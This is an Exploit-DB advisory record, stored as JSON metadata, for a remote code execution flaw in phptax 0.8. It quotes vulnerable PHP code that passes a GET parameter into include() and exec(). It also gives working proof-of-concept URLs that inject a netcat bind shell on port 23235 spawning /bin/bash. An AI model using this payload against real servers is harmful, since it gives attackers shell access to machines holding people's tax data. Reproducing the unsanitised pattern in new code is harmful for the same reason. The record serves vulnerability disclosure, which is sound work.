{"id": "EDB-ID:21665", "hash": "95d0044974ac777064e9896fb29ee7b1", "type": "exploitdb", "bulletinFamily": "exploit", "title": "phptax 0.8 - Remote Code Execution Vulnerability", "description": "phptax 0.8 - Remote Code Execution Vulnerability. Webapps exploit for php platform", "published": "2012-10-02T00:00:00", "modified": "2012-10-02T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/21665/", "reporter": "Jean Pascal Pereira", "references": [], "cvelist": [], "lastseen": "2016-02-02T16:59:43", "history": [], "viewCount": 38, "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2016-02-02T16:59:43"}, "dependencies": {"references": [], "modified": "2016-02-02T16:59:43"}, "vulnersScore": 0.3}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/21665/", "sourceData": "-----------------------------------------------------\r\nphptax 0.8 <= Remote Code Execution Vulnerability\r\n-----------------------------------------------------\r\n\r\nDiscovered by: Jean Pascal Pereira <pereira@secbiz.de>\r\n\r\nVendor information:\r\n\r\n\"PhpTax is free software to do your U.S. income taxes. Tested under Unix environment.\r\nThe program generates .pdfs that can be printed and sent to the IRS. See homepage for details and screenshot.\"\r\n\r\nVendor URI: http://sourceforge.net/projects/phptax/\r\n\r\n----------------------------------------------------\r\n\r\nRisk-level: High\r\n\r\nThe application is prone to a remote code execution vulnerability.\r\n\r\n----------------------------------------------------\r\n\r\ndrawimage.php, line 63:\r\n\r\ninclude (\"./files/$_GET[pfilez]\");\r\n\r\n// makes a png image\r\n$pfilef=str_replace(\".tob\",\".png\",$_GET[pfilez]);\r\n$pfilep=str_replace(\".tob\",\".pdf\",$_GET[pfilez]);\r\nHeader(\"Content-type: image/png\");\r\nif ($_GET[pdf] == \"\") Imagepng($image);\r\nif ($_GET[pdf] == \"make\") Imagepng($image,\"./data/pdf/$pfilef\");\r\nif ($_GET[pdf] == \"make\") exec(\"convert ./data/pdf/$pfilef ./data/pdf/$pfilep\");\r\n\r\n----------------------------------------------------\r\n\r\nExploit / Proof of Concept:\r\n\r\nBindshell on port 23235 using netcat:\r\n\r\nhttp://localhost/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make\r\n\r\n** Exploit-DB Verified:**\r\nhttp://localhost/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make\r\n\r\n----------------------------------------------------\r\n\r\nSolution:\r\n\r\nDo some input validation.\r\n\r\n----------------------------------------------------\r\n", "osvdbidlist": ["86992"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

{}